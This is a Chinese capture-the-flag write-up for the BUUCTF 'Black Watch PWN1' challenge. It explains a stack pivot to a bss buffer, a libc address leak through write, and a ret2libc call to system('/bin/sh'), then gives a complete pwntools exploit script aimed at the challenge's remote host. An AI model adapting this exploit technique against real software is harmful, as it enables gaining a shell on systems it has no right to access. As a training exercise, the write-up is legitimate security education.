当前位置: 首页 > article >正文

BUUCTF [Black Watch 入群题]PWN1 题解

1.下载文件 exeinfo checksec

 

32位 IDA32

看到关键函数 

read两次 第一次read的变量s在bss段;第二次的buf到ebp距离为 24 但是第二次的read字节只能刚好填满返回地址 传不进去变量

所以想到栈迁移 将栈移动到变量s所在位置上来

同时 这题开了NX 无直接的binsh和system 用libc做题

先将libc的套路传入到变量s中

同时需要空出前面的四字节使得栈迁移的指针停在这

main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.gor['write']


payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)

然后构造payload2让程序执行leave ret

因为想要将ebp移动到bss段上的变量s 所以ebp设置为s的地址

payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)

接下来就是常规的libc

exp:

from pwn import *


#p = process('./spwn')
p = remote("node5.buuoj.cn", 29085)

elf = ELF('./spwn')
main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.got['write']
bss_s_addr = 0x804A300

payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)

payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)

write_addr = u32(p.recv(4))

libc = ELF('./libc-2.23.so')
offset = write_addr - libc.symbols['write']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']

payload3 = b'aaaa' + p32(system) + b'aaaa' + p32(binsh)
p.sendafter("name?", payload3)

p.sendafter("say?", payload2)
p.interactive()

运行 得到flag:


http://www.kler.cn/a/529064.html

相关文章:

  • Linux多路转接poll
  • GenAI 在金融服务领域的应用:2025 年的重点是什么
  • AutoDL 云服务器:xfce4 远程桌面 终端乱码 + 谷歌浏览器
  • 【回溯+剪枝】组合问题!
  • 2848、与车相交的点
  • 本地搭建deepseek-r1
  • JAVA学习-练习试用Java实现“使用Swing创建一个带有按钮的窗口”
  • 一些计算机零碎知识随写(25年2月)
  • 论文和代码解读:RF-Inversion 图像/视频编辑技术
  • 7 与mint库对象互转宏(macros.rs)
  • 快速提升网站收录:利用网站分析工具
  • 比较热门的嵌入式项目
  • Maya软件安装步骤与百度网盘链接
  • ArkTS高性能编程实践
  • Linux进程控制:【进程创建】【进程终止】【进程等待】【进程程序替换】【自主shell命令行解释器】
  • Android 音视频编解码 -- MediaCodec
  • 自动化测试框架搭建-封装requests-优化
  • 42【语言的编码架构】
  • 记5(一元逻辑回归+线性分类器+多元逻辑回归
  • 计算机视觉和图像处理
  • FPGA|安装USB Blaster驱动
  • 5 个开源且免费的提示词管理系统,按照 从优到劣 排序
  • OFDM系统仿真
  • 告别复杂,拥抱简洁:用plusDays(7)代替plus(7, ChronoUnit.DAYS)
  • 页表(Page Table)
  • 面向npm的实时仪表板Dashly